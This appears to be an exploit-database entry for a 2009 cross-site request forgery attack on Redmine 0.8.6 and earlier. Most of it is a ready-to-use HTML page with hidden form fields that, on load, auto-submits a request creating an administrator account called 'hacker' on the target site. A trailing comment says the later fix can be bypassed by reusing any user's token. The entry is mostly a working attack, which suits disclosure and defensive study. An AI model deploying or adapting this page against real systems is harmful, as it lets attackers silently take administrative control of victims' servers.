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Redmine <= 0.8.6 CSRF Add Admin User Exploit
/**
* Redmine <= 0.8.6 CSRF Add Admin User Exploit
* Discovered by: p0deje (http://p0deje.blogspot.com)
* Application: http://www.redmine.org/wiki/redmine/Download
* SA: http://www.redmine.org/news/30
* Date: 13.11.2009
* Versions affected: <= 0.8.6
* Vulnerability: Cross-site Request Forgery
* Platform: Ruby (Ruby On Rails)
* Description: this is a simple exploit which use CSRF vulnerability in Redmine, creating user account with adminstartive rights
*/
<html>
<body>
<form method=POST action="http://www.vulnerable-site.org/users/new">
<input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
<input style="display: none" type="text" value="[email protected]" size="30" name="user[mail]" id="user_mail"/>
<input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
<input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
<input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
<input style="display: none" type="hidden" value="1" name="user[admin]"/>
<input style="display: none" type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>
</body>
</html>
/**
* P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and all the users.
* Thus, you can add POST data with token of any user and exploit will get working again
*/
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14 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1